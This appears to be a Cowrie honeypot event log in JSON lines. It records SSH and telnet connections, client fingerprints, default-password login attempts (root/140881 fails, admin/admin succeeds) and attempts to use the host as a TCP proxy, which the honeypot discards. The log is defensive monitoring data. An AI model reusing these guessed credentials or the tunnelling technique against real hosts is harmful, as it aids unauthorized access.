{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02]\\xd6D\\x116\\x9a\\xf3\\xba^s\\xa4Xn\\xf5\\xecj\\xb9\\x17\\x9de\\xbc\\x86\\\\\\xe6\\xfe\\x9bv\\xd5\\x93\"\\x83 \\xd6\\xd4F\\x8b2\\x1a\\xa5Xs< \\xc7\\xa5*\\x03\\xaa\\xb67\\xc3\\xb6\\xfd\\xab\\x16\\x87\\xbfp?\\xae\\x19\\xf9\\xb2B\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 rW1y\\xf9H\\xb7\\xbd-O\\x80=\\x02r\\xbaH\\x87j\\x90-\\x0c\\xa2r\\x92w\\xad\\xce\\x17\\x1c:l\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x02]\\xd6D\\x116\\x9a\\xf3\\xba^s\\xa4Xn\\xf5\\xecj\\xb9\\x17\\x9de\\xbc\\x86\\\\\\xe6\\xfe\\x9bv\\xd5\\x93\"\\x83 \\xd6\\xd4F\\x8b2\\x1a\\xa5Xs< \\xc7\\xa5*\\x03\\xaa\\xb67\\xc3\\xb6\\xfd\\xab\\x16\\x87\\xbfp?\\xae\\x19\\xf9\\xb2B\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 rW1y\\xf9H\\xb7\\xbd-O\\x80=\\x02r\\xbaH\\x87j\\x90-\\x0c\\xa2r\\x92w\\xad\\xce\\x17\\x1c:l\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:12.260548Z","src_ip":"173.208.192.194","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:12.381112Z","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:12.416638Z","src_ip":"173.208.192.194","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030\\na\\x18\\xc5\\xea\\x92\\x87\\xf5R\\xcb\\xc3\\xcd\\xf0\\xee\\x80\\x88\\x97rcAg*\\x82\\x08\\xe0\\xe9\\x81\"\\n\\x05\\x11 \\xd5\\x81\\xb1V0\\x16#\\xfc\\xe9\\x1cp\\x99\\xe6\\x96\\x1c\\xfb]$k)$\\xba\\xfa\\xde\\xfd\\xdfWs_\\x1c\\xc2J\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf6\\xe1]\\xd59\\x16\\xb9\\xb6o\\xe1w\\x1e\\xc3\\xaci\\xb5w\\xfa\\x17\\r\\xe6@0\\xf0V\\x96:\\x0b\\xb9?\\xd4W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030\\na\\x18\\xc5\\xea\\x92\\x87\\xf5R\\xcb\\xc3\\xcd\\xf0\\xee\\x80\\x88\\x97rcAg*\\x82\\x08\\xe0\\xe9\\x81\"\\n\\x05\\x11 \\xd5\\x81\\xb1V0\\x16#\\xfc\\xe9\\x1cp\\x99\\xe6\\x96\\x1c\\xfb]$k)$\\xba\\xfa\\xde\\xfd\\xdfWs_\\x1c\\xc2J\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf6\\xe1]\\xd59\\x16\\xb9\\xb6o\\xe1w\\x1e\\xc3\\xaci\\xb5w\\xfa\\x17\\r\\xe6@0\\xf0V\\x96:\\x0b\\xb9?\\xd4W\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:12.419423Z","src_ip":"173.208.192.194","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34708,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e40da0841f","protocol":"telnet","message":"New connection: 128.199.8.54:34708 (159.203.135.109:23) [session: e6e40da0841f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:22.419581Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":30284,"dst_ip":"10.17.0.5","dst_port":22,"session":"77cc0bcc9c9e","protocol":"ssh","message":"New connection: 38.93.206.2:30284 (10.17.0.5:22) [session: 77cc0bcc9c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:26.264748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:26.269156Z","src_ip":"38.93.206.2","session":"77cc0bcc9c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:26.319192Z","src_ip":"38.93.206.2","session":"77cc0bcc9c9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140881","message":"login attempt [root/140881] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:26.480577Z","src_ip":"38.93.206.2","session":"77cc0bcc9c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:27.533791Z","src_ip":"38.93.206.2","session":"77cc0bcc9c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.8","message":"Connection lost after 26.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:27.864719Z","src_ip":"173.208.192.194","session":"2b2fdca9bbf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60456,"dst_ip":"10.17.0.5","dst_port":22,"session":"873aa132325e","protocol":"ssh","message":"New connection: 45.148.10.121:60456 (10.17.0.5:22) [session: 873aa132325e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:32.376875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:32.381441Z","src_ip":"45.148.10.121","session":"873aa132325e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:32.557561Z","src_ip":"45.148.10.121","session":"873aa132325e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:32.976825Z","src_ip":"45.148.10.121","session":"873aa132325e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:33.082325Z","session":"873aa132325e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:33.222970Z","src_ip":"45.148.10.121","session":"873aa132325e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:33.226118Z","src_ip":"45.148.10.121","session":"873aa132325e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:33.354409Z","src_ip":"45.148.10.121","session":"873aa132325e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60472,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc29f6483fba","protocol":"ssh","message":"New connection: 45.148.10.121:60472 (10.17.0.5:22) [session: bc29f6483fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:33.478865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:33.483197Z","src_ip":"45.148.10.121","session":"bc29f6483fba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:33.608860Z","src_ip":"45.148.10.121","session":"bc29f6483fba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:33.961663Z","src_ip":"45.148.10.121","session":"bc29f6483fba","protocol":"ssh"}
